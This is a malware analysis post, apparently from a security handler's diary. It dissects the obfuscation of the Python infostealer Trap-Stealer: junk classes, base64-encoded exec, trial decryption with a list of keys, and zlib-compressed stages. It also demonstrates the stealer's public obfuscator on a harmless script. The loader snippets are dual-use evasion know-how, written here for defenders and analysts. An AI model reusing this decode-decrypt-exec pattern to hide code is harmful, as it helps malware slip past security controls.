From a Regular Infostealer to its Obfuscated Version
There are many malicious scripts available on the Internet. Github has plenty of info stealers and RATs made available “for testing or research purposes”. Here is one that I found recently: Trap-Stealer[1]. Often those scripts are pretty well obfuscated to pass through security controls and make Security Analysts’ life harder. Let’s review a practical example.
Today, I won't review the info stealer capabilities because they are common but let's check the obfuscation techniques. The file was dropped as a fake JPEG image: C:\Users\user\AppData\Local\apxpvddh.jpeg. It has a low score on VT: 3/63[2].
First, the code is “flooded” with classes that do nothing:
class TtV4adTuzK:
def __init__(self):
self.data = True
def get_data(self):
return self.data
class nxTJRP4oBo:
def __init__(self):
self.data = True
def get_data(self):
return self.data
class cLaiqjSQel:
def __init__(self):
self.data = True
def get_data(self):
return self.data
Or useless variables:
J4BL2VTnoS = 95994844 Q5eKoFfYgd = 79322716 ME2ZgJpLA0 = 84016443 m4tvU1GFfJ = 31572061 EacvCg0xlz = 58092955 TRwCJhKsQb = 88130587
Dependencies with some Python modules are resolved:
requirements = [
["requests", "requests"],
["Cryptodome.Cipher", "pycryptodomex" if not 'PythonSoftwareFoundation' in executable else 'pycryptodome']
]
for modl in requirements:
try:
import_module(module[0])
except:
subprocess.Popen(executable + " -m pip install " +modl[1], shell=True)
time.sleep(3)
The interesting code starts here:
f2KQN4bukRZMWSZicAmmYUWycFs6d0m5AqoEhG(base64.b64decode(S3ZpuwXgombrIYkwUNwRUJmSFtqLNOGKAHETR1))
A huge chunk of Base64 data is decoded and passed to f2KQN4bukRZMWSZicAmmYUWycFs6d0m5AqoEhG, an alias for exe()!
Once decoded, a second script obfuscated with the same techniques is disclosed. It contains another Base64 chunk of data. This time, the decoded data is encrypted.
Here a funny technique is used to decrypt the next payload. An array of encryption keys is provided and all of them are tested until the decryption succeeds:
s = [b'Co-7hDMhMh7UtUQ29kT0J7krqsTXPUAFXA7RtpcU6xY=',
b'cbkSAtHBbB-1QGa6bhIz_faB_iLXMnoQ2DnoXOGCxLo=',
b'0d5ykqArsb7Gkb3ZJtjr5-nzIF-2bOYgKtwAyny8B8k=',
b'ztG6jHYX0PPlTa_yMzrrxLelrKf79hovRQADx5sioXo=',
b'JT0JyIIHm3LfeAuit0xf-vej3m37Qhxvnwc3flWQ3ew=',
b'0lSaIjRa6nePT6QiGIoPpVrw8EMHDCT_I7T6JwCk0Cc=',
b'KhJzINwra-Dv78aZpTZeqClzc484KhtXEO8fvmV38nY=',
b'cRReHk0vv3NlLplRTBxly-B5LamTR4s-7UwaGl-iuak=',
b'NWXrr-8oMnHPP9q46JheOjH46abeH9_kHUcUjhxRbsE=',
b'4Vu6YVdZGOSclihs4ukSRppyV1M62QFqwp7ZU6y3RBs=',
b'M1qQk8eFmk_tigtJgYhOFQVb6pxA4YAfzXAbzx-0BhA=',
b'0KjwnWf-Bqri4ae4UVy3pBUCCcAWiFbgWjkWmd7zsdI=',
b'WBkyoZfIwgzunYz9je8_-lBeotQ2ntjx59kVuscHboQ=',
b'usQcLUBWrVM7dENg0A6ge15mHK9RtB4RV6MB4hbD70o=']
for key in s:
try:
decrypted_code = wqSJRHIzn7T3FiBgqfmquhhSEyCwLpRRMcdtF3(key.decode("utf-8")).decrypt(encrypted_code)
break
except Exception as e:
pass
Finally, the decrypted code is decompressed and executed:
decompressed_code = zlib.decompress(decrypted_code).decode('utf-8')
f2KQN4bukRZMWSZicAmmYUWycFs6d0m5AqoEhG(decompressed_code)
You may wonder how these obfuscation techniques are implemented by the attacker. They have tools for this! In the context of Trap-Stealer, the obfuscation tool is even part of the repository[3]. Here is how it works:
remnux@remnux:/MalwareZoo/20241125/Trap-Stealer$ mkdir build
remnux@remnux:/MalwareZoo/20241125/Trap-Stealer$ cat <<__END__ >build/temp.py
print("This is a super malicious Python script! }:->")
__END__
remnux@remnux:/MalwareZoo/20241125/Trap-Stealer$ python3 ./obfucator.py my_super_cool_infostealer
INFO:root:The code has been encrypted, Filename: ./build/my_super_cool_infostealer.py
remnux@remnux:/MalwareZoo/20241125/Trap-Stealer$ head build/my_super_cool_infostealer.py
from sys import executable, stderr
ueupD5ALo7 = 33628666
VKkflw4g74 = 98340683
XRPK2HJT5b = 80807402
fhaj93exmX = 5089192
class fMVSRbmSTG:
def __init__(self):
self.data = True
remnux@remnux:/MalwareZoo/20241125/Trap-Stealer$ python3 build/my_super_cool_infostealer.py
[...pip stuff removed ...]
This is a super malicious Python script! }:->
Note that the obfuscated file is pretty big compared to the "clear text" version: 37 bytes for "temp.py" and 20087 bytes for "my_super_cool_infostealer.py". Obfuscation has a cost! :-)
[1] https://github.com/TheCuteOwl/Trap-Stealer/tree/main
[2] https://www.virustotal.com/gui/file/85a0342027420025c477f3f6ab68376aa1608a447d1fb24920ac36b7cf7fd59d/detection
[3] https://github.com/TheCuteOwl/Trap-Stealer/blob/main/obfuscator.py
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
| Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 27th - Oct 31st 2025 |

Comments